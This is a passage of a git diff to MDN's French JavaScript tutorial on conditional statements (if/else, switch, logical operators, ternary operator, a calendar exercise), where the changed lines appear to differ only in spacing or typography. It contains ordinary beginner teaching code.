l'aide. +> **Note :** Si vous avez des difficultés à mettre en œuvre cet exemple, n'hésitez pas à verifier votre code par rapport à la [version définitive sur GitHub](https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/functions/function-stage-4.html) (aussi, vous pouvez tester la [démo](http://mdn.github.io/learning-area/javascript/building-blocks/functions/function-stage-4.html)), ou nous demander de l'aide. ## Conclusion -Vous êtes venu à bout de cette activité, félicitations ! Cet article vous a amené à travers tout le processus de construction d'une fonction pratique personnalisée, qui avec un peu plus de travail pourrait être transposée dans un projet réel. Dans l'article suivant, nous allons conclure l'apprentissage des fonctions en expliquant un autre concept connexe essentiel — les valeurs de retour. +Vous êtes venu à bout de cette activité, félicitations ! Cet article vous a amené à travers tout le processus de construction d'une fonction pratique personnalisée, qui avec un peu plus de travail pourrait être transposée dans un projet réel. Dans l'article suivant, nous allons conclure l'apprentissage des fonctions en expliquant un autre concept connexe essentiel — les valeurs de retour. {{PreviousMenuNext("Learn/JavaScript/Building_blocks/Functions","Learn/JavaScript/Building_blocks/Return_values", "Learn/JavaScript/Building_blocks")}} diff --git a/files/fr/learn/javascript/building_blocks/conditionals/index.md b/files/fr/learn/javascript/building_blocks/conditionals/index.md index 433c2c816b..195e348021 100644 --- a/files/fr/learn/javascript/building_blocks/conditionals/index.md +++ b/files/fr/learn/javascript/building_blocks/conditionals/index.md @@ -19,12 +19,12 @@ original_slug: Apprendre/JavaScript/Building_blocks/conditionals {{NextMenu("Apprendre/JavaScript/Building_blocks/Looping_code", "Apprendre/JavaScript/Building_blocks")}} -Dans tout langage de programmation, le code doit prendre des décisions et agir en fonction des différents paramètres. Par exemple dans un jeu, si le nombre de vies du joueur atteint 0, alors le jeu est terminé. Dans une application météo, si elle est consultée le matin, l'application montrera une image du lever de soleil ; l'application proposera des étoiles et la lune s'il fait nuit. Dans cet article nous allons découvrir comment ces instructions conditionnelles fonctionnent en JavaScript. +Dans tout langage de programmation, le code doit prendre des décisions et agir en fonction des différents paramètres. Par exemple dans un jeu, si le nombre de vies du joueur atteint 0, alors le jeu est terminé. Dans une application météo, si elle est consultée le matin, l'application montrera une image du lever de soleil ; l'application proposera des étoiles et la lune s'il fait nuit. Dans cet article nous allons découvrir comment ces instructions conditionnelles fonctionnent en JavaScript. <table class="standard-table"> <tbody> <tr> - <th scope="row">Prérequis :</th> + <th scope="row">Prérequis :</th> <td> Connaissances du vocabulaire informatique, compréhension des bases du HTML et des CSS, @@ -34,7 +34,7 @@ Dans tout langage de programmation, le code doit prendre des décisions et agir </td> </tr> <tr> - <th scope="row">Objectif :</th> + <th scope="row">Objectif :</th> <td> Comprendre comment utiliser les structures conditionnelles en JavaScript. @@ -43,21 +43,21 @@ Dans tout langage de programmation, le code doit prendre des décisions et agir </tbody> </table> -## Vous l'aurez à une condition !.. +## Vous l'aurez à une condition !.. -Les êtres humains (et d'autres animaux) prennent tout le temps des décisions qui affectent leur vie, de la plus insignifiante (« Est‑ce que je devrais prendre un biscuit ou deux ? ») à la plus importante (« Est‑ce que je dois rester dans mon pays natal et travailler à la ferme de mon père, ou déménager aux États-Unis et étudier l'astrophysique ? ») +Les êtres humains (et d'autres animaux) prennent tout le temps des décisions qui affectent leur vie, de la plus insignifiante (« Est‑ce que je devrais prendre un biscuit ou deux ? ») à la plus importante (« Est‑ce que je dois rester dans mon pays natal et travailler à la ferme de mon père, ou déménager aux États-Unis et étudier l'astrophysique ? ») -Les instructions conditionnelles nous permettent de représenter ce genre de prise de décision en JavaScript, du choix qui doit être fait (par ex. « un biscuit ou deux »), à la conséquence de ces choix (il se peut que la conséquence de « manger un biscuit » soit « avoir encore faim », et celle de « manger deux biscuits » soit « se sentir rassasié, mais se faire gronder par maman pour avoir mangé tous les biscuits ».) +Les instructions conditionnelles nous permettent de représenter ce genre de prise de décision en JavaScript, du choix qui doit être fait (par ex. « un biscuit ou deux »), à la conséquence de ces choix (il se peut que la conséquence de « manger un biscuit » soit « avoir encore faim », et celle de « manger deux biscuits » soit « se sentir rassasié, mais se faire gronder par maman pour avoir mangé tous les biscuits ».)  ## Instruction if ... else -Intéressons nous de plus près à la forme la plus répandue d'instruction conditionnelle que vous utiliserez en JavaScript — la modeste [instruction](/fr/docs/Web/JavaScript/Reference/Instructions/if...else) [`if ... else`](/fr/docs/Web/JavaScript/Reference/Instructions/if...else). +Intéressons nous de plus près à la forme la plus répandue d'instruction conditionnelle que vous utiliserez en JavaScript — la modeste [instruction](/fr/docs/Web/JavaScript/Reference/Instructions/if...else) [`if ... else`](/fr/docs/Web/JavaScript/Reference/Instructions/if...else). ### Syntaxe élémentaire if ... else -La syntaxe élémentaire de `if...else` ressemble à cela en {{glossary("pseudocode")}}: +La syntaxe élémentaire de `if...else` ressemble à cela en {{glossary("pseudocode")}}: if (condition) { code à exécuter si la condition est true @@ -68,14 +68,14 @@ La syntaxe élémentaire de `if...else` ressemble à cela en {{glossary("pseud Ici nous avons: 1. Le mot‑clé `if` suivie de parenthèses. -2. Une condition à évaluer, placée entre les parenthèses (typiquement « cette valeur est‑elle plus grande que cet autre valeur ? » ou « cette valeur existe‑t‑elle ? »). Cette condition se servira des [opérateurs de comparaison](/fr/docs/Learn/JavaScript/First_steps/Math#Comparison_operators) que nous avons étudié dans le précédent module, et renverra `true` ou `false`. -3. Une paire d'accolades, à l'intérieur de laquelle se trouve du code — cela peut être n'importe quel code voulu ; il sera exécuté seulement si la condition renvoie `true`. +2. Une condition à évaluer, placée entre les parenthèses (typiquement « cette valeur est‑elle plus grande que cet autre valeur ? » ou « cette valeur existe‑t‑elle ? »). Cette condition se servira des [opérateurs de comparaison](/fr/docs/Learn/JavaScript/First_steps/Math#Comparison_operators) que nous avons étudié dans le précédent module, et renverra `true` ou `false`. +3. Une paire d'accolades, à l'intérieur de laquelle se trouve du code — cela peut être n'importe quel code voulu ; il sera exécuté seulement si la condition renvoie `true`. 4. Le mot‑clé `else`. -5. Une autre paire d'accolades, à l'intérieur de laquelle se trouve du code différent — tout code souhaité et il sera exécuté seulement si la condition ne renvoie pas `true`. +5. Une autre paire d'accolades, à l'intérieur de laquelle se trouve du code différent — tout code souhaité et il sera exécuté seulement si la condition ne renvoie pas `true`. -Ce code est facile à lire pour une personne — il dit « **si** la **condition** renvoie `true`, exécuter le code A, **sinon** exécuter le code B ». +Ce code est facile à lire pour une personne — il dit « **si** la **condition** renvoie `true`, exécuter le code A, **sinon** exécuter le code B ». -Notez qu'il n'est pas nécessaire d'inclure une instruction `else` et le deuxième bloc entre accolades — le code suivant est aussi parfaitement correct : +Notez qu'il n'est pas nécessaire d'inclure une instruction `else` et le deuxième bloc entre accolades — le code suivant est aussi parfaitement correct : if (condition) { code à exécuter si la condition est true @@ -83,18 +83,18 @@ Notez qu'il n'est pas nécessaire d'inclure une instruction `else` et le deuxiè exécuter un autre code -Cependant, vous devez faire attention ici — dans ce cas, le deuxième bloc de code n'est pas controlé par l'instruction conditionnelle, donc il sera **toujours** exécuté, que la condition ait renvoyé `true` ou `false`. Ce n'est pas nécessairement une mauvaise chose, mais il se peut que ce ne soit pas ce que vous vouliez — le plus souvent vous voudrez exécuter un bloc de code *ou* l'autre, et non les deux. +Cependant, vous devez faire attention ici — dans ce cas, le deuxième bloc de code n'est pas controlé par l'instruction conditionnelle, donc il sera **toujours** exécuté, que la condition ait renvoyé `true` ou `false`. Ce n'est pas nécessairement une mauvaise chose, mais il se peut que ce ne soit pas ce que vous vouliez — le plus souvent vous voudrez exécuter un bloc de code *ou* l'autre, et non les deux. -Une dernière remarque, vous verrez quelques fois les instructions `if...else` écrites sans accolades, de manière abrégée, ainsi : +Une dernière remarque, vous verrez quelques fois les instructions `if...else` écrites sans accolades, de manière abrégée, ainsi : if (condition) code à exécuter si la condition est true else exécute un autre code à la place -Ce code est parfaitement valide, mais il n'est pas recommandé — il est nettement plus facile de lire le code et d'en déduire ce qui se passe si vous utilisez des accolades pour délimiter les blocs de code, des lignes séparées et des indentations. +Ce code est parfaitement valide, mais il n'est pas recommandé — il est nettement plus facile de lire le code et d'en déduire ce qui se passe si vous utilisez des accolades pour délimiter les blocs de code, des lignes séparées et des indentations. ### Un exemple concret -Pour mieux comprendre cette syntaxe, prenons un exemple concret. Imaginez un enfant à qui le père ou la mère demande de l'aide pour une tâche. Le parent pourrait dire « Mon chéri, si tu m'aides en allant faire les courses, je te donnerai un peu plus d'argent de poche pour que tu puisses t'acheter ce jouet que tu voulais ». En JavaScript, on pourrait le représenter de cette manière : +Pour mieux comprendre cette syntaxe, prenons un exemple concret. Imaginez un enfant à qui le père ou la mère demande de l'aide pour une tâche. Le parent pourrait dire « Mon chéri, si tu m'aides en allant faire les courses, je te donnerai un peu plus d'argent de poche pour que tu puisses t'acheter ce jouet que tu voulais ». En JavaScript, on pourrait le représenter de cette manière : ```js let coursesFaites = false; @@ -106,15 +106,15 @@ if (coursesFaites === true) { } ``` -Avec un tel code, la variable `coursesFaites` renvoie toujours `false`, imaginez la déception de ce pauvre enfant. Il ne tient qu'à nous de fournir un mécanisme pour que le parent assigne `true` à la variable `coursesFaites` si l'enfant a fait les courses. +Avec un tel code, la variable `coursesFaites` renvoie toujours `false`, imaginez la déception de ce pauvre enfant. Il ne tient qu'à nous de fournir un mécanisme pour que le parent assigne `true` à la variable `coursesFaites` si l'enfant a fait les courses. -> **Note :** Vous pouvez voir une [version plus complète de cet exemple sur GitHub](https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/allowance-updater.html) (ainsi qu'en [version live](http://mdn.github.io/learning-area/javascript/building-blocks/allowance-updater.html).) +> **Note :** Vous pouvez voir une [version plus complète de cet exemple sur GitHub](https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/allowance-updater.html) (ainsi qu'en [version live](http://mdn.github.io/learning-area/javascript/building-blocks/allowance-updater.html).) ### else if -Il n'y a qu'une alternative dans l'exemple précédent — mais qu'en est‑il si l'on souhaite plus de choix ? +Il n'y a qu'une alternative dans l'exemple précédent — mais qu'en est‑il si l'on souhaite plus de choix ? -Il existe un moyen d'enchaîner des choix / résultats supplémentaires à `if...else` — en utilisant `else if` entre. Chaque choix supplémentaire nécessite un bloc additionnel à placer entre `if() { ... }` et `else { ... }` — regardez l'exemple suivant plus élaboré, qui pourrait faire partie d'une simple application de prévisions météo: +Il existe un moyen d'enchaîner des choix / résultats supplémentaires à `if...else` — en utilisant `else if` entre. Chaque choix supplémentaire nécessite un bloc additionnel à placer entre `if() { ... }` et `else { ... }` — regardez l'exemple suivant plus élaboré, qui pourrait faire partie d'une simple application de prévisions météo: ```html <label for="weather">Select the weather type today: </label> @@ -155,30 +155,30 @@ function setWeather() { {{ EmbedLiveSample('else_if', '100%', 100) }} 1. Ici nous avons l'élément HTML {{htmlelement("select")}} nous permettant de sélectionner divers choix de temps et un simple paragraphe. -2. Dans le JavaScript, nous conservons une référence aussi bien à l'élément {{htmlelement("select")}} qu'à l'élément {{htmlelement("p")}}, et ajoutons un écouteur d'évènement à l'élément `<select>` de sorte que la fonction `setWeather()` soit exécutée quand sa valeur change. -3. Quand cette fonction est exécutée, nous commençons par assigner à la variable `choice` la valeur actuellement sélectionnée dans l'élément `<select>`. Nous utilisons ensuite une instruction conditionnelle pour montrer différents textes dans le paragraphe en fonction de la valeur de `choice`. Remarquez comment toutes les conditions sont testées avec des blocs `else if() {...}`, mis à part le tout premier testé avec un `bloc if() {...}`. -4. Le tout dernier choix, à l'intérieur du bloc `else {...}`, est simplement une option de "secours" — le code qui s'y trouve ne sera exécuté que si aucune des conditions n'est `true`. Dans ce cas, il faut vider le texte du paragraphe si rien n'est sélectionné, par exemple si un utilisateur décide de resélectionner le texte à substituer « --Choisir-- » présenté au début. +2. Dans le JavaScript, nous conservons une référence aussi bien à l'élément {{htmlelement("select")}} qu'à l'élément {{htmlelement("p")}}, et ajoutons un écouteur d'évènement à l'élément `<select>` de sorte que la fonction `setWeather()` soit exécutée quand sa valeur change. +3. Quand cette fonction est exécutée, nous commençons par assigner à la variable `choice` la valeur actuellement sélectionnée dans l'élément `<select>`. Nous utilisons ensuite une instruction conditionnelle pour montrer différents textes dans le paragraphe en fonction de la valeur de `choice`. Remarquez comment toutes les conditions sont testées avec des blocs `else if() {...}`, mis à part le tout premier testé avec un `bloc if() {...}`. +4. Le tout dernier choix, à l'intérieur du bloc `else {...}`, est simplement une option de "secours" — le code qui s'y trouve ne sera exécuté que si aucune des conditions n'est `true`. Dans ce cas, il faut vider le texte du paragraphe si rien n'est sélectionné, par exemple si un utilisateur décide de resélectionner le texte à substituer « --Choisir-- » présenté au début. -> **Note :** Vous trouverez également [cet exemple sur GitHub](https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/simple-else-if.html) (ainsi qu'en [version live](http://mdn.github.io/learning-area/javascript/building-blocks/simple-else-if.html) ici.) +> **Note :** Vous trouverez également [cet exemple sur GitHub](https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/simple-else-if.html) (ainsi qu'en [version live](http://mdn.github.io/learning-area/javascript/building-blocks/simple-else-if.html) ici.) ### Une note sur les opérateurs de comparaison Les opérateurs de comparaison sont utilisés pour tester les conditions dans nos instructions conditionnelles. Nous avons d'abord regardé les opérateurs de comparaison dans notre [Mathématiques de base en JavaScript — nombres et opérateurs](/fr/docs/Learn/JavaScript/First_steps/Math#Opérateurs_de_comparaison) article. Nos choix sont : -- `===` et `!==` — teste si une valeur est identique ou non à une autre. +- `===` et `!==` — teste si une valeur est identique ou non à une autre. - `<` and `>` —teste si une valeur est inférieure ou non à une autre. - `<=` and `>=` — teste si une valeur est inférieur ou égal, ou égal à, ou supérieur ou égal à une autre. > **Note :** Revoyez le contenu du lien précédent si vous voulez vous rafraîchir la mémoire. -Nous souhaitons mentionner à propos des tests des valeurs booléennes (`true`/`false`) un modèle courant que vous rencontrerez souvent. Toute valeur autre que `false`, `undefined`, `null`, `0`, `NaN` ou une chaîne vide (`''`) renvoie `true` lorsqu'elle est testée dans une structure conditionnelle, vous pouvez donc simplement utiliser un nom de variable pour tester si elle est `true`, ou même si elle existe (c'est-à-dire si elle n'est pas `undefined`). +Nous souhaitons mentionner à propos des tests des valeurs booléennes (`true`/`false`) un modèle courant que vous rencontrerez souvent. Toute valeur autre que `false`, `undefined`, `null`, `0`, `NaN` ou une chaîne vide (`''`) renvoie `true` lorsqu'elle est testée dans une structure conditionnelle, vous pouvez donc simplement utiliser un nom de variable pour tester si elle est `true`, ou même si elle existe (c'est-à-dire si elle n'est pas `undefined`). Par exemple : ```js const fromage = 'Comté'; if (fromage) { - console.log('Ouaips ! Du fromage pour mettre sur un toast.'); + console.log('Ouaips ! Du fromage pour mettre sur un toast.'); } else { console.log('Pas de fromage sur le toast pour vous aujourd\'hui.'); } @@ -196,7 +196,7 @@ if (coursesFaites) { // pas besoin d'écrire explicitement '=== true' } ``` -### if ... else imbriqué +### if ... else imbriqué Il est parfaitement correct d'ajouter une déclaration `if...else` à l'intérieur d'une autre — pour les imbriquer. Par exemple, nous pourrions mettre à jour notre application de prévisions météo pour montrer un autre ensemble de choix en fonction de la température : @@ -205,7 +205,7 @@ if (choice === 'sunny') { if (temperature < 86) { para.textContent = 'Il fait ' + temperature + ' degrés dehors — beau et ensoleillé. Allez à la plage ou au parc et achetez une crème glacée.'; } else if (temperature >= 86) { - para.textContent = 'Il fait ' + temperature + ' degrés dehors — VRAIMENT CHAUD ! si vous voulez sortir, n\'oubliez pas de mettre de la crème solaire.'; + para.textContent = 'Il fait ' + temperature + ' degrés dehors — VRAIMENT CHAUD ! si vous voulez sortir, n\'oubliez pas de mettre de la crème solaire.'; } } ``` @@ -216,16 +216,16 @@ Même si tout le code fonctionne ensemble, chaque déclaration `if...else` fonct Si vous voulez tester plusieurs conditions sans imbriquer des instructions `if...else` , les [opérateurs logiques](/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/Op%C3%A9rateurs_logiques) pourront vous rendre service. Quand ils sont utilisés dans des conditions, les deux premiers sont représentés comme ci dessous : -- `&&` — AND ; vous permet d'enchaîner deux ou plusieurs expressions de sorte que toutes doivent être individuellement égales à `true` pour que l'enemble de l'expression retourne `true`. -- `||` — OR ; vous permet d'enchaîner deux ou plusieurs expressions ensemble de sorte qu'il suffit qu'une au plus soit évaluée comme étant `true` pour que l'ensemble de l'expression renvoie `true`. +- `&&` — AND ; vous permet d'enchaîner deux ou plusieurs expressions de sorte que toutes doivent être individuellement égales à `true` pour que l'enemble de l'expression retourne `true`. +- `||` — OR ; vous permet d'enchaîner deux ou plusieurs expressions ensemble de sorte qu'il suffit qu'une au plus soit évaluée comme étant `true` pour que l'ensemble de l'expression renvoie `true`. -Pour vous donner un exemple de AND, le morceau de code précedent peut être réécrit ainsi : +Pour vous donner un exemple de AND, le morceau de code précedent peut être réécrit ainsi : ```js if (choice === 'sunny' && temperature < 86) { para.textContent = 'Il fait ' + temperature + ' degrés dehors — beau temps ensoleillé. Allez à la plage ou au parc et achetez une crème glacée.'; } else if (choice === 'sunny' && temperature >= 86) { - para.textContent = 'Il fait ' + temperature + ' degrés dehors — VRAIMENT CHAUD ! Si vous voulez sortir, assurez‑vous d'avoir passé une crème solaire.'; + para.textContent = 'Il fait ' + temperature + ' degrés dehors — VRAIMENT CHAUD ! Si vous voulez sortir, assurez‑vous d'avoir passé une crème solaire.'; } ``` @@ -241,7 +241,7 @@ if (camionDeGlaces || etatDeLaMaison === 'on fire') { } ``` -Le dernier type d'opérateur logique, NOT, exprimé par l'opérateur `!`, peut s'utiliser pour nier une expression. Combinons‑le avec OR dans cet exemple : +Le dernier type d'opérateur logique, NOT, exprimé par l'opérateur `!`, peut s'utiliser pour nier une expression. Combinons‑le avec OR dans cet exemple : ```js if (!(camionDeGlaces || etatDeLaMaison === 'on fire')) { @@ -253,7 +253,7 @@ if (!(camionDeGlaces || etatDeLaMaison === 'on fire')) { Dans cet extrait, si la déclaration avec OR renvoie `true`, l'opérateur NOT va nier l'ensemble : l'expression retournera donc `false`. -Vous pouvez combiner autant d'instructions logiques que vous le souhaitez, quelle que soit la structure. L'exemple suivant n'exécute le code entre accolades que si les deux instructions OR renvoient true, l'instruction AND recouvrante renvoie alors `true` : +Vous pouvez combiner autant d'instructions logiques que vous le souhaitez, quelle que soit la structure. L'exemple suivant n'exécute le code entre accolades que si les deux instructions OR renvoient true, l'instruction AND recouvrante renvoie alors `true` : ```js if ((x === 5 || y > 3 || z <= 10) && (loggedIn || userName === 'Steve')) { @@ -261,7 +261,7 @@ if ((x === 5 || y > 3 || z <= 10) && (loggedIn || userName === 'Steve')) { } ``` -Une erreur fréquente avec l'opérateur OR dans des instructions conditionnelles est de n'indiquer la variable dont vous testez la valeur qu'une fois, puis de donner une liste de valeurs sensées renvoyer `true` séparées par des || (OR) opérateurs. Par exemple : +Une erreur fréquente avec l'opérateur OR dans des instructions conditionnelles est de n'indiquer la variable dont vous testez la valeur qu'une fois, puis de donner une liste de valeurs sensées renvoyer `true` séparées par des || (OR) opérateurs. Par exemple : ```js example-bad if (x === 5 || 7 || 10 || 20) { @@ -269,7 +269,7 @@ if (x === 5 || 7 || 10 || 20) { } ``` -Dans ce cas, la condition dans le `if(...)`sera toujours évaluée à vrai puisque 7 (ou toute autre valeur non nulle) est toujours `true`. Cette condition dit en réalité « si x est égal à 5, ou bien 7 est vrai » — ce qui est toujours le cas. Ce n'est pas ce que nous voulons logiquement ! Pour que cela fonctionne, vous devez définir un test complet entre chaque opérateur OR : +Dans ce cas, la condition dans le `if(...)`sera toujours évaluée à vrai puisque 7 (ou toute autre valeur non nulle) est toujours `true`. Cette condition dit en réalité « si x est égal à 5, ou bien 7 est vrai » — ce qui est toujours le cas. Ce n'est pas ce que nous voulons logiquement ! Pour que cela fonctionne, vous devez définir un test complet entre chaque opérateur OR : ```js if (x === 5 || x === 7 || x === 10 ||x === 20) { @@ -279,9 +279,9 @@ if (x === 5 || x === 7 || x === 10 ||x === 20) { ## Instruction switch -Les Instructions `if...else` font bien le travail d'aiguiller la programmation selon des conditions, mais elles ne sont pas sans inconvénient. Elles sont principalement adaptées aux cas où vous avez un choix binaire, chacun nécessitant une quantité raisonnable de code à exécuter, et/ou au cas où les conditions sont complexes (par ex. plusieurs opérateurs logiques). Si vous voulez juste fixer la valeur d'une variable à un choix donné ou afficher une déclaration particulière en fonction d'une condition, cette syntaxe peut devenir un peu lourde, surtout si le nombre de choix est important. +Les Instructions `if...else` font bien le travail d'aiguiller la programmation selon des conditions, mais elles ne sont pas sans inconvénient. Elles sont principalement adaptées aux cas où vous avez un choix binaire, chacun nécessitant une quantité raisonnable de code à exécuter, et/ou au cas où les conditions sont complexes (par ex. plusieurs opérateurs logiques). Si vous voulez juste fixer la valeur d'une variable à un choix donné ou afficher une déclaration particulière en fonction d'une condition, cette syntaxe peut devenir un peu lourde, surtout si le nombre de choix est important. -Les [instructions switch](/fr/docs/Web/JavaScript/Reference/Instructions/switch) sont vos amies — elles prennent une seule valeur ou expression en entrée, puis examinent une palette de choix jusqu'à trouver celui qui correspond, et exécutent le code qui va avec. Voici un peu de pseudo-code, pour vous donner l'idée : +Les [instructions switch](/fr/docs/Web/JavaScript/Reference/Instructions/switch) sont vos amies — elles prennent une seule valeur ou expression en entrée, puis examinent une palette de choix jusqu'à trouver celui qui correspond, et exécutent le code qui va avec. Voici un peu de pseudo-code, pour vous donner l'idée : ```js switch (expression) { @@ -302,19 +302,19 @@ switch (expression) { Ici nous avons -1. Le mot‑clé `switch` suivi de parenthèses. +1. Le mot‑clé `switch` suivi de parenthèses. 2. Une expression ou une valeur mise entre les parenthèses. 3. Le mot‑clé `case` suivi d'une expression ou d'une valeur, et de deux‑points. 4. Le code exécuté si l'expression/valeur de `case` correspond à celles de `switch`. 5. Une déclaration `break`, suivie d'un point‑virgule. Si le choix précédent correspond à l'expression/valeur, le navigateur va stopper l'exécution du bloc de code ici et continuer après l'instruction **switch**. 6. Vous pouvez rajouter autant de **cas** que vous le souhaitez. (points 3–5) -7. Le mot‑clé `default`, suivi d'une même structure de code qu'aux points 3-5, sauf que `default` n'a pas de choix après lui et n'a donc pas besoin de l'instruction `break` puisqu'il n'y a plus rien à exécuter après ce bloc. C'est l'option `default` qui sera exécutée si aucun choix ne correspond. +7. Le mot‑clé `default`, suivi d'une même structure de code qu'aux points 3-5, sauf que `default` n'a pas de choix après lui et n'a donc pas besoin de l'instruction `break` puisqu'il n'y a plus rien à exécuter après ce bloc. C'est l'option `default` qui sera exécutée si aucun choix ne correspond. -> **Note :** Vous n'avez pas à inclure la section `default` — elle peut être omise en toute sécurité s'il n'y a aucune chance que l'expression finisse par égaler une valeur inconnue. À contrario, vous devez l'inclure s'il est possible qu'il y ait des cas inconnus. +> **Note :** Vous n'avez pas à inclure la section `default` — elle peut être omise en toute sécurité s'il n'y a aucune chance que l'expression finisse par égaler une valeur inconnue. À contrario, vous devez l'inclure s'il est possible qu'il y ait des cas inconnus. ### Un exemple de switch -Voyons un exemple concret — nous allons réécrire notre application de prévision météo en utilisant une instruction `switch` à la place : +Voyons un exemple concret — nous allons réécrire notre application de prévision météo en utilisant une instruction `switch` à la place : ```html <label for="weather">Select the weather type today: </label> @@ -364,21 +364,21 @@ function setWeather() { ## Opérateur ternaire -Voici une dernière syntaxe que nous souhaitons vous présenter avant de nous amuser avec quelques exemples. L'[opérateur ternaire ou conditionnel](/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/L_op%C3%A9rateur_conditionnel) est un petit morceau de code qui teste une condition et renvoie une valeur ou expression si elle est `true` et une autre si elle est `false` — elle est utile dans certains cas, et occupe moins de place qu'un bloc `if...else` si votre choix est limité à deux possibilités à choisir via une condition `true`/`false`. Voici le pseudo‑code correspondant : +Voici une dernière syntaxe que nous souhaitons vous présenter avant de nous amuser avec quelques exemples. L'[opérateur ternaire ou conditionnel](/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/L_op%C3%A9rateur_conditionnel) est un petit morceau de code qui teste une condition et renvoie une valeur ou expression si elle est `true` et une autre si elle est `false` — elle est utile dans certains cas, et occupe moins de place qu'un bloc `if...else` si votre choix est limité à deux possibilités à choisir via une condition `true`/`false`. Voici le pseudo‑code correspondant : ( condition ) ? exécuter ce code : exécuter celui‑ci à la place -Regardons cet exemple simple : +Regardons cet exemple simple : ```js -let formuleDePolitesse = ( est_anniversaire ) ? 'Bon anniversaire Mme Smith — nous vous souhaitons une belle journée !' : 'Bonjour Mme Smith.'; +let formuleDePolitesse = ( est_anniversaire ) ? 'Bon anniversaire Mme Smith — nous vous souhaitons une belle journée !' : 'Bonjour Mme Smith.'; ``` -Ici, nous avons une variable nommée `est_anniversaire` — si elle est `true`, nous adressons à notre hôte un message de « Bon anniversaire » ; si ce n'est pas le cas, c'est-à-dire si `est_anniversaire` renvoie `false`, nous disons simplement « Bonjour ». +Ici, nous avons une variable nommée `est_anniversaire` — si elle est `true`, nous adressons à notre hôte un message de « Bon anniversaire » ; si ce n'est pas le cas, c'est-à-dire si `est_anniversaire` renvoie `false`, nous disons simplement « Bonjour ». ### Exemple opérateur ternaire -L'opérateur ternaire ne sert pas qu'à définir des valeurs de variables ; vous pouvez aussi exécuter des fonctions, ou des lignes de code — ce que vous voulez. Voici un exemple concret de choix de thème où le style du site est déterminé grâce à un opérateur ternaire. +L'opérateur ternaire ne sert pas qu'à définir des valeurs de variables ; vous pouvez aussi exécuter des fonctions, ou des lignes de code — ce que vous voulez. Voici un exemple concret de choix de thème où le style du site est déterminé grâce à un opérateur ternaire. ```html <label for="theme">Select theme: </label> @@ -409,33 +409,33 @@ select.onchange = function() { Nous mettons un élément {{htmlelement('select')}} pour choisir un thème (noir ou blanc), plus un simple élément {{htmlelement('h1')}} pour afficher un titre de site web. Nous avons aussi une fonction `update()`, qui prend deux couleurs en paramètre (entrées). La couleur de fond du site est déterminée par la couleur indiquée dans le premier paramètre fourni, et la couleur du texte par le deuxième. -Nous avons également mis un écouteur d'événement [onchange](/fr/docs/Web/API/GlobalEventHandlers/onchange) qui sert à exécuter une fonction contenant un opérateur ternaire. Il débute par un test de condition — `select.value === 'black'`. Si le test renvoie `true`, nous exécutons la fonction `update()` avec les paramètres blanc et noir : cela signifie que le fond sera noir et le texte blanc. S'il renvoie `false`, nous exécutons `update()` avec les paramètres noir et blanc, les couleurs du site seront inversées. +Nous avons également mis un écouteur d'événement [onchange](/fr/docs/Web/API/GlobalEventHandlers/onchange) qui sert à exécuter une fonction contenant un opérateur ternaire. Il débute par un test de condition — `select.value === 'black'`. Si le test renvoie `true`, nous exécutons la fonction `update()` avec les paramètres blanc et noir : cela signifie que le fond sera noir et le texte blanc. S'il renvoie `false`, nous exécutons `update()` avec les paramètres noir et blanc, les couleurs du site seront inversées. > **Note :** Vous trouverez également cet [exemple sur GitHub](https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/simple-ternary.html) (voyez‑le en [cours d'exécution](http://mdn.github.io/learning-area/javascript/building-blocks/simple-ternary.html) ici aussi.) -## Apprentissage actif : un calendrier simple +## Apprentissage actif : un calendrier simple -Dans cet exemple nous allons vous aider à finaliser une application de calendrier simple. Dans le code, vous avez : +Dans cet exemple nous allons vous aider à finaliser une application de calendrier simple. Dans le code, vous avez : - Un élément {{htmlelement("select")}} permettant à l'utilisateur de choisir un mois. - Un pilote d'événement `onchange` pour détecter si la valeur choisie dans le menu `<select>` a été modifiée. - Une fonction `createCalendar()` qui trace le calendrier et affiche le mois voulu dans l'élément {{htmlelement("h1")}}. -Vous aurez besoin d'écrire une instruction conditionnelle dans la fonction `onchange`, juste au dessous du commentaire `// AJOUTER LA CONDITION ICI`. Elle doit : +Vous aurez besoin d'écrire une instruction conditionnelle dans la fonction `onchange`, juste au dessous du commentaire `// AJOUTER LA CONDITION ICI`. Elle doit : 1. Noter le mois choisi (enregistré dans la variable `choice`. Ce doit être la valeur de l'élément `<select>` après un changement, "Janvier" par exemple). 2. Faire en sorte que la variable nommée `days` soit égale au nombre de jours du mois sélectionné. Pour ce faire, examinez le nombre de jours dans chaque mois de l'année. Vous pouvez ignorer les années bissextiles pour les besoins de cet exemple. -Conseils : +Conseils : -- Utilisez un OR logique pour grouper plusieurs mois ensemble dans une même condition, beaucoup d'entre eux ont le même nombre de jours. +- Utilisez un OR logique pour grouper plusieurs mois ensemble dans une même condition, beaucoup d'entre eux ont le même nombre de jours. - Voyez quel est le nombre de jours le plus courant et utilisez le comme valeur par défaut. Si vous faites une erreur, vous pouvez toujours réinitialiser l'exemple avec le bouton "Réinitialiser". Si vous êtes vraiment bloqué, pressez "Voir la solution". ```html hidden <div class="output" style="height: 500px;overflow: auto;"> - <label for="month">Choisissez un mois : </label> + <label for="month">Choisissez un mois : </label> <select id="month"> <option value="Janvier">Janvier</option> <option value="Février">Février</option> @@ -531,7 +531,7 @@ solution.addEventListener('click', function() { updateCode(); }); -var jsSolution = 'var select = document.querySelector(\'select\');\nvar list = document.querySelector(\'ul\');\nvar h1 = document.querySelector(\'h1\');\n\nselect.onchange = function() {\n var choice = select.value;\n var days = 31;\n if(choice === \'February\') {\n days = 28;\n } else if(choice === \'April\' || choice === \'June\' || choice === \'September\'|| choice === \'November\') {\n days = 30;\n }\n\n createCalendar(days, choice);\n}\n\nfunction createCalendar(days, choice) {\n list.innerHTML = \'\';\n h1.textContent = choice;\n for(var i = 1; i <= days; i++) {\n var listItem = document.createElement(\'li\');\n listItem.textContent = i;\n list.appendChild(listItem);\n }\n }\n\ncreateCalendar(31,\'January\');'; +var jsSolution = 'var select = document.querySelector(\'select\');\nvar list = document.querySelector(\'ul\');\nvar h1 = document.querySelector(\'h1\');\n\nselect.onchange = function() {\n var choice = select.value;\n var days = 31;\n if(choice === \'February\') {\n days = 28;\n } else if(choice === \'April\' || choice === \'June\' 